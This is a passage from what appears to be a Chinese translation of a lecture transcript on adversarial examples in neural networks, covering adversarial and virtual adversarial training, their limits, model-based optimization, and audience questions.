่ฎญ็ปƒๅฎƒๅŽป่ฏ†ๅˆซๆŸ็งๅฏนๆŠ—ๆ ทๆœฌ๏ผŒๅฎƒๅฐฑไผšๅ˜ๅพ—ๅฏนๅฆไธ€็งๆ—จๅœจๆฌบ้ช—ๆŽขๆต‹ๅ™จ็š„ๅฏนๆŠ—ๆ ทๆœฌ่กจ็Žฐๅœฐ้žๅธธ่„†ๅผฑใ€‚่ฟ™ๆ˜ฏไธ€็ง้˜ฒๅพก็ฑปๅˆซ Nicholas ๅœจไป–ๆœ€่ฟ‘ๅ…ฌๅธƒ็š„่ฎบๆ–‡้‡Œใ€‚\n\nๆ— ่ฎบๆจกๅž‹ๆŽจๆ–ญ็š„ๅŽ้ชŒๅˆ†ๅธƒๆ˜ฏ็กฎๅฎš็š„ๆˆ–ๅ‡ๅŒ€็š„๏ผŒ็”Ÿๆˆๆจกๅž‹ไปŽๅ“ชไธชๅ‡ฝๆ•ฐๆ—้‡ŒๆŒ‘้€‰ๅ‡บๆฅๆ˜ฏๆœ‰ๅพˆๅคงๅฝฑๅ“็š„ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่ฎพ่ฎกไธ€ไธช้žๅธธไธฐๅฏŒ็š„ๆทฑๅบฆ็š„็”Ÿๆˆๆจกๅž‹๏ผŒๅฏไปฅ็”Ÿๆˆๆ˜พ็คบ็š„ ImageNet ๅ›พ็‰‡๏ผŒ่ฟ˜่ƒฝๆญฃ็กฎๅœฐ่ฎก็ฎ—ๅ‡บๅŽ้ชŒๅˆ†ๅธƒ๏ผŒๅฏ่ƒฝ่ฟ™็งๆ–นๆณ•ๆ˜ฏๆœ‰ๆ•ˆ็š„ใ€‚ไฝ†็›ฎๅ‰ๆญฃ็กฎ่ฎก็ฎ—ไปปไฝ•ไธ€ไธชๆฆ‚็Ž‡้ƒฝๆ˜ฏ้žๅธธๅ›ฐ้šพ็š„๏ผŒๆ‰€ไปฅๆˆ‘ไปฌ้€šๅธธๆ”นไธบๅšไธ€ไธช่ฟ‘ไผผๅ™จๅฏผ่‡ดๅŽ้ชŒๅˆ†ๅธƒ็บฟๆ€ง็จ‹ๅบฆ้žๅธธ้ซ˜ใ€‚ๆž„้€ ไธ€ไธช่ƒฝๅคŸๆญฃ็กฎๆ•ๆ‰ๆ•ดไธชๅˆ†ๅธƒ็š„็”Ÿๆˆๆจกๅž‹๏ผŒๆ˜ฏไธ€ไธชๅพˆ้šพ็š„ๅทฅ็จ‹้—ฎ้ข˜ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba73b55575c4.png)\n\nๆณ›้€ผ่ฟ‘ๅฎš็†๏ผˆThe universal approximator theorem๏ผ‰ ๅ‘Š่ฏ‰ๆˆ‘ไปฌ๏ผŒๆ— ่ฎบๆˆ‘ไปฌ็š„ๅˆ†็ฑปๅ‡ฝๆ•ฐๆƒณ่ฆๆœ‰ไป€ไนˆๅฝข็Šถ๏ผŒไธ€ไธช่ถณๅคŸๅคง็š„็ฅž็ป็ฝ‘็ปœๆ€ป่ƒฝ่กจ่พพๅ‡บๆฅใ€‚ๆˆ‘ไปฌ่ƒฝไธ่ƒฝ่ฎญ็ปƒ็ฅž็ป็ฝ‘็ปœๅพ—ๅˆฐ่ฟ™ไธชๅ‡ฝๆ•ฐ่ฟ˜ๆ˜ฏไธ€ไธช๏ผˆ็›ฎๅ‰ๅคงๅฎถๆ— ๆณ•่งฃๅ†ณ็š„๏ผ‰้—ฎ้ข˜ใ€‚ไฝ†ๆˆ‘ไปฌ็Ÿฅ้“ๆˆ‘ไปฌ่‡ณๅฐ‘ๆœ‰่ƒฝๅŠ›็ป™ๅ‡บไธ€ไธชๅฏน็š„ๅฝข็Šถๅ‡บๆฅใ€‚\n\n้‚ฃไนˆๅˆฐๆญคไธบๆญข๏ผŒ็ฅž็ป็ฝ‘็ปœ็ป™ๆˆ‘ไปฌๆไพ›ไบ†้žๅธธ็บฟๆ€ง็š„ๅ†ณ็ญ–ๅ‡ฝๆ•ฐ๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๅพ—ๅˆฐไธ€ไบ›ๆ›ด็ฑปไผผไบŽ้˜ถๆขฏๅ‡ฝๆ•ฐ็š„ไธœ่ฅฟใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba73c2f4681e.png)\n\n้‚ฃไนˆๅฆ‚ๆžœๆˆ‘ไปฌๅชๆ˜ฏๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ่ฎญ็ปƒๅ‘ข๏ผŸๆฏไธช่ฎญ็ปƒ้›†ไธŠ่พ“ๅ…ฅ x๏ผŒๆˆ‘ไปฌๅธŒๆœ›ๅฏไปฅ่ฎญ็ปƒๅค„ x ๅŠ ไธŠไธ€ไธชๆ”ปๅ‡ปไป็„ถๅฏไปฅๅฏนๅบ”ๅˆฐๅŽŸๆœฌ็š„็ฑปๅˆซๆ ‡็ญพๅŽปใ€‚่ฟ™ๆœ‰็‚นๆ•ˆๆžœ๏ผŒไฝ ๅฏไปฅ้€ๆธๆŠตๆŠ—ไฝ ่ฎญ็ปƒ็š„่ฟ™็งๆ”ปๅ‡ปใ€‚่ฆ่ฎฐไฝ๏ผŒไธ€็‚น่ฆไฟ่ฏไฝ ๅฏไปฅๅพˆๅฟซๆ–ฝ่กŒๆ”ปๅ‡ป๏ผŒ่ฟ™ๆ ทไฝ ๅฐฑๅฏไปฅ่ฎญ็ปƒๅˆฐๅพˆๅคšๆ ทๆœฌไธŠใ€‚ๆœ€ไธŠ้ข้‚ฃๆก็ปฟ่‰ฒ็š„ๆ›ฒ็บฟ๏ผŒๆฒกๆœ‰ไธ‹้™ๆ˜ฏๅพˆๆ˜Žๆ˜พ็š„๏ผŒๆ˜ฏๆต‹่ฏ•้›†ๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ็š„้”™่ฏฏ็Ž‡๏ผŒๅฆ‚ๆžœไฝ ๅช่ฎญ็ปƒๅนฒๅ‡€ๆ ทๆœฌใ€‚้’่‰ฒ็š„ๆ›ฒ็บฟไปŽๅ›พ็‰‡ไธญ้—ดๅฏน่ง’็บฟไธ€ๆ ทไธ‹้™็š„๏ผŒๆ˜ฏไธ€ไธชๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ็š„ๆต‹่ฏ•ๅ™จ๏ผŒๅฆ‚ๆžœไฝ ๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ่ฎญ็ปƒ๏ผŒไฝ ๅฏไปฅ็œ‹ๅˆฐๅฎƒๅ…ถๅฎžไธ‹้™้žๅธธๅฟซ๏ผŒไธ‹้™ๅˆฐๅฐไบŽ 1% ็š„้”™่ฏฏ็Ž‡ใ€‚่ฆ่ฎฐไฝ๏ผŒ่ฟ™ๆ˜ฏ FGSM ๅฏนๆŠ—ๆ ทๆœฌ๏ผŒไธบไบ†ๅฏปๆ‰พ่–„ๅผฑ็š„ๅœฐๆ–น๏ผŒไฝ ็š„ๅพˆ้•ฟๆ—ถ้—ด่ท‘ไฝ ็š„ไผ˜ๅŒ–ๅ™จ๏ผŒ่ฟญไปฃๅคšๆญฅๅฏนๆŠ—ๆ ทๆœฌๅฐฑๅพˆ้šพๆŠตๆŠ—ไบ†ใ€‚ๅฆไธ€ไธช่ฆ่ฎฐไฝ็š„ๆ˜ฏ๏ผŒๆˆ‘ไปฌๆ˜ฏๅœจไธŽๆˆ‘ไปฌ่ฎญ็ปƒๆ—ถไธ€ๆ ท็š„ๅฏนๆŠ—ๆ ทๆœฌไธŠๆต‹่ฏ•็š„๏ผŒ่ฟ™ๅพˆ้šพไปŽไผ˜ๅŒ–็ฎ—ๆณ•ๆณ›ๅŒ–ๅˆฐๅ…ถไป–ไผ˜ๅŒ–็ฎ—ๆณ•ใ€‚\n\nๅฏนๆฏ”ๆฅ็œ‹๏ผŒๅฆ‚ๆžœไฝ ็œ‹ๅนฒๅ‡€ๆ ทๆœฌไธŠๆœ‰ไป€ไนˆๆ•ˆๆžœ๏ผŒ่“่‰ฒ็š„ๆ›ฒ็บฟๅฐฑๅฑ•็คบไบ†ๅนฒๅ‡€ๆต‹่ฏ•้›†็š„้”™่ฏฏ็Ž‡๏ผŒๅฆ‚ๆžœๆ—จๅœจๅนฒๅ‡€ๆ ทๆœฌไธŠ่ฎญ็ปƒใ€‚็บข่‰ฒๆ›ฒ็บฟๅฑ•็คบไบ†๏ผŒๅฆ‚ๆžœ่ง‚ๅฏŸๅŒๆ—ถๅœจๅนฒๅ‡€ๅ’ŒๅฏนๆŠ—ๆ ทๆœฌไธŠ่ฎญ็ปƒ็š„็ป“ๆžœ๏ผŒๆˆ‘ไปฌๅฏไปฅ็œ‹ๅˆฐ็บข่‰ฒๆ›ฒ็บฟ๏ผŒๅ…ถๅฎž้™ๅพ—ๆฏ”่“่‰ฒๆ›ฒ็บฟไฝŽ๏ผŒๆ‰€ไปฅๅœจ่ฟ™ไธชไปปๅŠกไธŠ๏ผŒๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ่ฎญ็ปƒ็กฎๅฎž่ƒฝๅธฎๅŠฉๆˆ‘ไปฌๅŽŸๆฅ็š„ๅทฅไฝœๅšๅพ—ๆ›ดๅฅฝ๏ผŒๅ› ไธบๅŽŸๆฅ็š„ๅทฅไฝœๆˆ‘ไปฌ่ฟ‡ๆ‹Ÿๅˆไบ†๏ผŒๅœจๅฏนๆŠ—ๆ ทๆœฌไธŠ่ฎญ็ปƒๆ˜ฏไธ€ไธชๅพˆๅฅฝ็š„ๆญฃๅˆ™ๅ™จใ€‚ๅฆ‚ๆžœไฝ ่ฟ‡ๆ‹Ÿๅˆไบ†๏ผŒๅฎƒๅฏไปฅๅธฎๅŠฉไฝ ๆ›ดๅฅฝๅœฐ่ฟ‡ๆ‹Ÿๅˆใ€‚ๅฆ‚ๆžœไฝ ๆฌ ๆ‹Ÿๅˆไบ†๏ผŒๅฎƒๅชไผš่ฎฉไฝ ๆ›ดๅŠ ๆฌ ๆ‹Ÿๅˆใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba73e9d3439f.png)\n\n้™คไบ†ๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœ๏ผŒๅ…ถไป–็š„ๆจกๅž‹ๅฏ่ƒฝไธไผš้€š่ฟ‡ๅฏนๆŠ—่ฎญ็ปƒๅ—ๅˆฐๅพˆๅฅฝ็š„ๆ•ˆๆžœใ€‚ๅœจๆˆ‘ไปฌๅผ€ๅง‹ไปŠๅคฉ็š„ไธป้ข˜ๅ‰๏ผŒๆˆ‘ไปฌ่ง‰ๅพ—ๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœๅฏ่ƒฝๆ˜ฏๅ”ฏไธ€ๅฏนๅฏนๆŠ—ๆ ทๆœฌ่กจ็Žฐ่–„ๅผฑ็š„็ป“ๆž„ใ€‚ไบ‹ๅฎžไธŠ๏ผŒๅฎƒๆ˜ฏๅ…ถไธญไธ€ไธชๆจกๅž‹๏ผŒๆœ‰ไธ€ไธชๆธ…ๆ™ฐๆ˜Žๆœ—็š„ๅŠžๆณ•ๆฅๆŠตๆŠ—่ฟ™ไธช้—ฎ้ข˜็š„ใ€‚็บฟๆ€งๆจกๅž‹ๆ€Žไนˆๅ˜้ƒฝๆ˜ฏ็บฟๆ€ง็š„๏ผŒๆŒ‡ๆœ›ไธไธŠๅฎƒ่ƒฝๆŠตๆŠ—ๅฏนๆŠ—ๆ ทๆœฌไบ†ใ€‚ๆทฑๅฑ‚็ฅž็ป็ฝ‘็ปœๅฐฑๆ˜ฏไธบไบ†้ž็บฟๆ€ง่€Œ่ฎญ็ปƒ็š„๏ผŒ้‚ฃไนˆ็œ‹่ตทๆฅๅฐฑๆœ‰ไธ€ๆกๅฏไปฅ่งฃๅ†ณ่ฟ™ไธช้—ฎ้ข˜็š„่ทฏๅพ„ไบ†ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba73f7b87929.png)\n\nไฝ†ๅ…ถๅฎžๅฐฑ็ฎ—ๆœ‰ไบ†ๅฏนๆŠ—่ฎญ็ปƒ๏ผŒๆˆ‘ไปฌ่ฟ˜ๆ˜ฏๅพˆ้šพๆž„้€ ๆจกๅž‹๏ผŒๅฆ‚ๆžœไฝ ๅฏนไธๅŒ็ฑปๅˆซ็š„่พ“ๅ…ฅ่ฟ›่กŒไผ˜ๅŒ–๏ผŒไฝ ๅพ—ๅˆฐไบ†่ฟ™ไบ›็ฑปๅˆซ็š„ๆ ทๆœฌใ€‚\n\n่ฟ™้‡Œๆˆ‘็”จไธ€ๅผ  CIFAR-10 ๆ•ฐๆฎ้›†ไธญ็š„ๅก่ฝฆๆฅไฝœไธบไพ‹ๅญใ€‚ๆˆ‘ๆŠŠๅฎƒๅ˜ๆˆ CIFAR-10 ็ฑปๅˆซ็š„ๅ…ถไป–ๆฏไธช็ฑปใ€‚ๅ›พ่กจไธญ้—ดๅฏไปฅ็œ‹ๅ‡บๆฅ๏ผŒๅก่ฝฆๅ˜ๅพ—ๅทฒ็ปๆœ‰็‚นๅƒ้ธŸไบ†๏ผŒ้ธŸ็ฑปๆ˜ฏๅ”ฏไธ€ไธ€ไธชๆฏ”่พƒ่ดดๅˆ็š„็ฑปๅˆซไบ†๏ผŒๅฐฑๆ˜ฏ่ฏดๆœ‰ไบ†ๅฏนๆŠ—่ฎญ็ปƒ๏ผŒๆˆ‘ไพ็„ถ็ฆป่งฃๅ†ณ้—ฎ้ข˜ๅพˆ้ฅ่ฟœใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba7402c6835d.png)\n\nๅฝ“ๆˆ‘ไปฌๅšๅฏนๆŠ—่ฎญ็ปƒๆ—ถ๏ผŒๆˆ‘ไปฌไพ้ ๆ‰€ๆœ‰ๆ ทๆœฌไธŠ็š„ๆ ‡็ญพใ€‚ๆˆ‘ไปฌๆœ‰ไธ€ไธชๅ›พ็‰‡ๆ ‡็ญพๆ˜ฏ้ธŸ๏ผŒๆˆ‘ไปฌๅšไธ€ไธชๆ‰ฐๅŠจ๏ผŒไธบไบ†้™ไฝŽ้ธŸ็ฑปๅˆซ็š„ๅฏ่ƒฝๆ€ง๏ผŒ็„ถๅŽ่ฎญ็ปƒๆจกๅž‹๏ผŒๅธŒๆœ›ๅ›พ็‰‡่ฟ˜ๆ˜ฏ้ธŸ็š„ๅˆ†็ฑปใ€‚้‚ฃไธ‡ไธ€ๆˆ‘ไปฌๆฒกๆœ‰ๆ ‡็ญพๅ—ฏ๏ผŸ\n\n![](https://i.loli.net/2018/09/23/5ba740afc7517.png)\n\nไบ‹ๅฎžไธŠ๏ผŒไฝ ็กฎๅฎžๅฏไปฅๅœจๆฒกๆœ‰ๆ ‡็ญพ็š„ๆƒ…ๅ†ตไธ‹่ฎญ็ปƒ๏ผŒไฝ ๅฏไปฅ่ฎฉๆจกๅž‹ๆฅ้ข„ๆต‹็ฌฌไธ€ไธชๅ›พ็‰‡็š„ๆ ‡็ญพใ€‚ๅฆ‚ๆžœไฝ ๅทฒ็ป่ฎญ็ปƒไบ†ไธ€ไผšๅ„ฟไบ†๏ผŒไฝ†ๆจกๅž‹่ฟ˜ๆฒกๆœ‰่ฎญ็ปƒๅพˆๅฎŒ็พŽ๏ผŒๆจกๅž‹ๅฏ่ƒฝไผš่กจ็คบ๏ผšๅ•Š๏ผŒ่ฟ™ๅฏ่ƒฝๆ˜ฏไธ€ๅช้ธŸ๏ผŒไนŸๅฏ่ƒฝๆ˜ฏไธ€ๆžถ้ฃžๆœบ๏ผŒๅ› ไธบ่ƒŒๆ™ฏๆœ‰่“ๅคฉ๏ผŒๆˆ‘ไธๆ˜ฏๅพˆๆธ…ๆฅšๅ…ทไฝ“ๆ˜ฏๅ“ชไธ€ไธชใ€‚็„ถๅŽๆˆ‘ไปฌๅšไธ€ไธชๅฏนๆŠ—ๆ‰ฐๅŠจๆ—จๅœจๆ”นๅ˜ๅ†ณ็ญ–๏ผŒๆˆ‘ไปฌๅธŒๆœ›่ฎฉ็ฝ‘็ปœ่ง‰ๅพ—่ฟ™ๆ˜ฏไธ€่พ†ๅก่ฝฆ๏ผŒๆˆ–ๆ˜ฏ็ฑปไผผ็š„ไธœ่ฅฟ๏ผŒ่€Œไธๆ˜ฏไฝ ไน‹ๅ‰่ง‰ๅพ—ๅฏ่ƒฝๆ˜ฏ็š„ไธœ่ฅฟใ€‚ๆŽฅไธ‹ๆฅๅฏไปฅ่ฎญ็ปƒๅฎƒๅˆคๆ–ญๅ‡บๆฅ็š„็ฑปๅˆซๅˆ†ๅธƒๅบ”่ฏฅ่ฟ˜ๅ’ŒๅŽŸๆฅไธ€ๆ ท๏ผŒไนŸๅฐฑๆ˜ฏ่ฏดไป็„ถ่ง‰ๅพ—่ฟ™ๆ˜ฏไธ€ๅช้ธŸๆˆ–ไธ€ๆžถ้ฃžๆœบใ€‚่ฟ™้กนๆŠ€ๆœฏๅซๅš่™šๆ‹ŸๅฏนๆŠ—่ฎญ็ปƒ๏ผˆvirtual adversarial training๏ผ‰๏ผŒ็”ฑ Takeru Miyato ๅ‘ๆ˜Ž็š„ใ€‚\n\n![](https://i.loli.net/2018/09/23/5ba742b83c568.png)\n\nไป–ๅšไบ†่ฟ™ไธชๅทฅไฝœไน‹ๅŽ๏ผŒไป–ๅฐฑๆฅ Google ๅšๆˆ‘็š„ๅฎžไน ็”Ÿไบ†ใ€‚ๆˆ‘ไปฌ้‚€่ฏทไป–ๆฅ Google ๆŠŠไป–็š„่ฟ™ไธชๅ‘ๆ˜Ž็”จๅœจๆ–‡ๆœฌๅˆ†็ฑปไธŠ๏ผŒๅ› ไธบ่ฟ™็งไปŽๆฒกๆœ‰ๆ ‡็ญพ็š„ไพ‹ๅญ้‡Œๅญฆไน ็š„่ƒฝๅŠ›๏ผŒไฝฟๅพ—ๅŠ็›‘็ฃๅญฆไน ๆˆไธบๅฏ่ƒฝ๏ผŒไฝ ๅฏไปฅๅŒๆ—ถไปŽๆœ‰ๆ ‡็ญพๅ’Œๆฒกๆ ‡็ญพ็š„ๆ ทๆœฌ้‡Œๅญฆไน ๏ผŒ็Žฐๅฎž็”Ÿๆดปไธญๆœ‰ๅพˆๅคšๆฒกๆœ‰ๆ ‡็ญพ็š„ๆ–‡ๆœฌใ€‚็ป“ๆžœๆˆ‘ไปฌๅœจๅ‡ ไธชไธๅŒ็š„ๆ–‡ๆœฌๅˆ†็ฑปไปปๅŠกไธŠ๏ผŒๅˆฉ็”จ่™šๆ‹ŸๅฏนๆŠ—่ฎญ็ปƒๆˆๅŠŸๅœฐ่พƒไฝŽไบ†้”™่ฏฏ็Ž‡ใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba742de7a12d.png)\n\nๆœ€ๅŽๆˆ‘ไปฌๅœจไฝฟ็”จ็ฅž็ป็ฝ‘็ปœไฝœไธบไผ˜ๅŒ–่ฟ‡็จ‹ๆ—ถ๏ผŒ่ฟ˜ๅญ˜ๅœจ็€ๅพˆๅคš้—ฎ้ข˜ใ€‚ๆฏ”ๅฆ‚ๆˆ‘ไปฌๆƒณ่ฆ้€ ไธ€่พ†ๅพˆๅฟซๅพˆๅฟซ็š„่ฝฆ๏ผŒๆˆ‘ไปฌๅฏไปฅๆƒณ่ฑกไธ€ไธช็ฅž็ป็ฝ‘็ปœ่ƒฝๅคŸๆŽฅๅ—ๆฑฝ่ฝฆ็š„่“ๅ›พไฝœไธบ่พ“ๅ…ฅ๏ผŒ้ข„ๆต‹่ฟ™่พ†่ฝฆ่ƒฝๅผ€ๅˆฐๅคšๅ—ใ€‚ๆˆ‘ไปฌๅฏไปฅไผ˜ๅŒ–็ฅž็ป็ฝ‘็ปœ็š„่พ“ๅ…ฅ๏ผŒๆ‰พๅˆฐ้ข„ๆต‹ๅ‡บๆฅ่ท‘ๅพ—ๆœ€ๅฟซ็š„่ฝฆ็š„่“ๅ›พ๏ผŒ่ฟ™ๆ ทๆˆ‘ไปฌๅฐฑๅฏไปฅ้€ ไธ€่พ†่ถ…็บง่ถ…็บงๅฟซ็š„่ฝฆใ€‚ไฝ†ไธๅนธ็š„ๆ˜ฏ๏ผŒๆˆ‘ไปฌ็Žฐๅœจๅนถๆฒกๆœ‰ๅพ—ๅˆฐไธ€่พ†ๅผ€ๅพ—ๅพˆๅฟซ็š„่ฝฆ็š„่“ๅ›พใ€‚ๆˆ‘ไปฌๆž„้€ ๅฏนๆŠ—ๆ ทๆœฌไฝฟๅพ—ๆจกๅž‹่ฎคไธบ่ฟ™่พ†่ฝฆๅพˆๅฟซใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌ่ƒฝๅคŸ็ป™่งฃๅ†ณๅฏนๆŠ—ๆ ทๆœฌ้—ฎ้ข˜๏ผŒๆˆ‘ไปฌๅฐฑ่ƒฝ่งฃๅ†ณๅŸบไบŽๆจกๅž‹็š„ไผ˜ๅŒ–้—ฎ้ข˜๏ผŒๆˆ‘ๅ–œๆฌข็งฐ่ฟ™็งๅŸบไบŽๆจกๅž‹็š„ไผ˜ๅŒ–้—ฎ้ข˜ไธบไธ‡่ƒฝๅทฅ็จ‹ๆœบๅ™จ๏ผˆthe universal engineering machine๏ผ‰ใ€‚ๅฆ‚ๆžœๆˆ‘ไปฌๅฏไปฅ่งฃๅ†ณๅŸบไบŽๆจกๅž‹็š„ไผ˜ๅŒ–้—ฎ้ข˜๏ผŒๆˆ‘ไปฌๅฏไปฅๅ†™ๅ‡บไธ€ไธชๆ่ฟฐไธ€ไธชไธๅญ˜ๅœจ็š„๏ผŒไฝ†ๆˆ‘ไปฌๅธŒๆœ›ๆˆ‘ไปฌๆœ‰็š„ไธœ่ฅฟ็š„ๅ‡ฝๆ•ฐใ€‚็„ถๅŽๆขฏๅบฆไธ‹้™ๅ’Œ็ฅž็ป็ฝ‘็ปœๅฐฑๅฏ่ƒฝๆžๆธ…ๆฅšๅฆ‚ไฝ•ๆž„้€ ๅ‡บๆฅใ€‚ๆˆ‘ไปฌๅฏไปฅ็”จ่ฟ™ไธชๆŠ€ๆœฏๆฅ่ฎพ่ฎก่ฏๅ“็š„ๆ–ฐๅŸบๅ› ๅ’Œๆ–ฐๅˆ†ๅญ๏ผŒ่ƒฝไฝฟ GPU ่ท‘ๅพ—ๆ›ดๅฟซ็š„ๆ–ฐ็”ต่ทฏ็ญ‰็ญ‰่ฟ™็ฑปไบ‹ๆƒ…ใ€‚\n\nๆ€ป็š„ๆฅ่ฏด๏ผŒๆˆ‘่ง‰ๅพ—่งฃๅ†ณไบ†่ฟ™ไธช้—ฎ้ข˜๏ผŒๅฐฑๅฏไปฅ่งฃ้”ไธ€ๅคงๅ †ๆฝœๅœจ็š„็ง‘ๆŠ€่ฟ›ๆญฅใ€‚\n\n---\n\n![](https://i.loli.net/2018/09/23/5ba744d700696.png)\n\nๆ€ป็ป“ไธ€ไธ‹๏ผŒๆ”ปๅ‡ปๆœบๅ™จๅญฆไน ๆจกๅž‹ๆ˜ฏๆžๅ…ถ็ฎ€ๅ•็š„๏ผŒ้˜ฒๅพก่ฟ™ไบ›ๆ”ปๅ‡ปๅˆๆ˜ฏๆžๅ…ถๅ›ฐ้šพ็š„ใ€‚ๅฆ‚ๆžœไฝ ็”จๅฏนๆŠ—่ฎญ็ปƒ๏ผŒไฝ ๅฏไปฅๅพ—ๅˆฐไธ€็‚น้˜ฒๅพก๏ผŒไฝ†่ฟ˜ๆœ‰ๅพˆๅคšๅ’Œ่ฟ™ไธช้˜ฒๅพก้™„ๅธฆๅœจไธ€่ตท็š„ไธœ่ฅฟใ€‚ๅฏนๆŠ—่ฎญ็ปƒๅ’Œ่™šๆ‹ŸๅฏนๆŠ—่ฎญ็ปƒ่ƒฝๅคŸๆญฃๅˆ™ๅŒ–ๆจกๅž‹๏ผŒ่ฟ˜ๅฏไปฅไปŽๆฒกๆœ‰ๆ ‡็ญพ็š„ๆ•ฐๆฎไธŠๅญฆไน ใ€‚ๅณไฝฟไฝ ไธๆ‹…ๅฟƒไฝ ไผš้‡ๅˆฐไธ€ไธชๆ”ปๅ‡ป่€…๏ผŒ่ฟ™ๆ ทๅš่ฟ˜ๆ˜ฏๅฏไปฅๅœจๆ™ฎ้€š็š„ๆต‹่ฏ•ๆ ทๆœฌไธŠๆ•ˆๆžœๆ›ดๅฅฝใ€‚ๆœ€ๅŽ๏ผŒๅฆ‚ๆžœๆˆ‘ไปฌ่ƒฝๅคŸ่งฃๅ†ณๆ‰€ๆœ‰็š„้—ฎ้ข˜๏ผŒๆˆ‘ไปฌๅฐฑ่ƒฝๅปบ็ซ‹ไธ€ไธชๅŸบไบŽๆจกๅž‹็š„้ป‘็ฎฑไผ˜ๅŒ–็ณป็ปŸ๏ผŒๅฐฑๅฏไปฅ่งฃๅ†ณๅœจๅ„็ง้ข†ๅŸŸๆ‹–ๆˆ‘ไปฌๅŽ่…ฟ็š„ๅทฅ็จ‹้—ฎ้ข˜ใ€‚\n\n- Q๏ผšๆˆ‘ๅ‰้ข่ฏด่ฟ‡ๅŒๆ ท็š„ๆ‰ฐๅŠจๅฏไปฅๆฌบ้ช—ๅพˆๅคšไธๅŒ็š„ๆจกๅž‹๏ผŒๆˆ–่€…่ฏดๅŒๆ ท็š„ๆ‰ฐๅŠจๅฏไปฅ่ฟ็”จๅˆฐๅพˆๅคšไธๅŒ็š„ๅนฒๅ‡€ๆ ทๆœฌไธŠใ€‚ๆˆ‘ๅทฒ็ป่ฏด่ฟ‡ไบ†ๅฏนๆŠ—ๆ‰ฐๅŠจ็š„ๅญ็ฉบ้—ดๆ˜ฏๅทฎไธๅคš50็ปด็š„๏ผŒๅฐฑ็ฎ—่พ“ๅ…ฅ็ฉบ้—ดๆ˜ฏ3000็ปด็š„๏ผŒ้‚ฃ่ฟ™ไบ›ๅญ็ฉบ้—ดๆ˜ฏๅฆ‚ไฝ•ไบคๅ‰็š„๏ผŸ\n\n - ๅŽŸๅ› ๆ˜ฏๆˆ‘ไปฌ้€‰ๅ–่ฟ™ไบ›ๅญ็ฉบ้—ดๆ–นๅ‘ๅนถไธๆ˜ฏๅฎŒๅ…จ้šๆœบ็š„๏ผŒๅ…ถๅฎžๆ˜ฏๅœจๅšๆŠŠไธ€ไธช็ฑป็š„่ดจๅฟƒๅ’Œๅฆไธ€ไธช็ฑป็š„่ดจๅฟƒ้ƒฝ็‚นๅ‡บๆฅใ€‚ๅฆ‚ๆžœไฝ ็œ‹่ฟ™ไธชๅ‘้‡๏ผŒๅœจๅ›พ็‰‡ไธญๅฏ่ง†ๅŒ–ๅฏ่ƒฝๅฏนไบบ็ฑปๆฅ่ฏดๆฒกไป€ไนˆๆ„ไน‰๏ผŒๅ› ไธบไบบ็ฑปไธๆ“…้•ฟๆƒณ่ฑกๅˆ†็ฑป็š„่ดจๅฟƒ็œ‹่ตทๆฅไป€ไนˆๆ ทใ€‚ๆˆ‘ไปฌ้ ๆƒณ่ฑกๆฏ”่พƒ่ดจๅฟƒ็š„ๅŒบๅˆซ็š„่ƒฝๅŠ›ๆ˜ฏๅพˆๅทฎ็š„๏ผŒไฝ†ๅฏ่ƒฝๆ˜ฏ็ณป็ปŸๆ•ˆๅบ”ไฝฟๅพ—ไธๅŒๆจกๅž‹ๅญฆไน ไบ†็ฑปไผผ็š„็บฟๆ€งๅ‡ฝๆ•ฐ๏ผŒๅ› ไธบๅฎƒไปฌ่ฏ•ๅ›พ่งฃๅ†ณๅŒไธ€ไธช้—ฎ้ข˜ใ€‚\n\n- Q๏ผšๆœ‰ๆฒกๆœ‰ๅฏ่ƒฝๆ‰พๅ‡บๆฅๆŸไธ€ๅฑ‚ๆ˜ฏๅฏน่ฟ™ไธช้—ฎ้ข˜่ดก็Œฎๆœ€ๅคง็š„๏ผŸ\n\n - ๆœ€ๅŽไธ€ๅฑ‚ๆฏ”่พƒ้‡่ฆใ€‚ๅ› ไธบๅฆ‚ๆžœไฝ ๅšไบ†ไธ€ไธช็‰นๅพๆๅ–ๅ™จ๏ผŒๅฏนๅฏนๆŠ—ๆ‰ฐๅŠจๅฎŒๅ…จ้ฒๆฃ’็š„่ฏ๏ผŒๅฐฑๅฏไปฅๆŠŠ่ฟ™ไธช็‰นๅพ็ผฉๆˆๅพˆๅฐๅพˆๅฐ๏ผŒ่ฟ™ๆ ทๆœ€ๅŽไธ€ๅฑ‚ไป็„ถๆ˜ฏ็บฟๆ€ง็š„๏ผŒ่ฟ™ๆ ทๆ‰€ๆœ‰็š„้—ฎ้ข˜้ƒฝไผš็บฟๆ€งๆจกๅž‹่”็ณป่ตทๆฅไบ†ใ€‚ไธ€่ˆฌๅœฐไฝ ๅฏไปฅๅœจๆ‰ฐๅŠจๆ‰€ๆœ‰็š„้š่—ๅฑ‚ไปฅๅŠ่พ“ๅ…ฅๅฑ‚ๆฅๅšๅฏนๆŠ—่ฎญ็ปƒใ€‚่ฟ™ไธช่ฎฒๅบง้‡Œ๏ผŒๆˆ‘ๅชๆ่ฟฐไบ†ๆ‰ฐๅŠจ่พ“ๅ…ฅๅฑ‚๏ผŒๅ› ไธบ็œ‹่ตทๆฅๆ˜ฏๆ•ˆๆžœๆœ€ๆ˜พ่‘—ไบ†ใ€‚\n - ไฝ <u>ๆœ‰ไธ€ไธชไบ‹ๆƒ…ไธ่ƒฝๅš็š„ๅฐฑๆ˜ฏๅœจ softmax ๅ‰ๅฏนๆœ€ๅŽไธ€ๅฑ‚ๅšๆ‰ฐๅŠจ๏ผŒๅ› 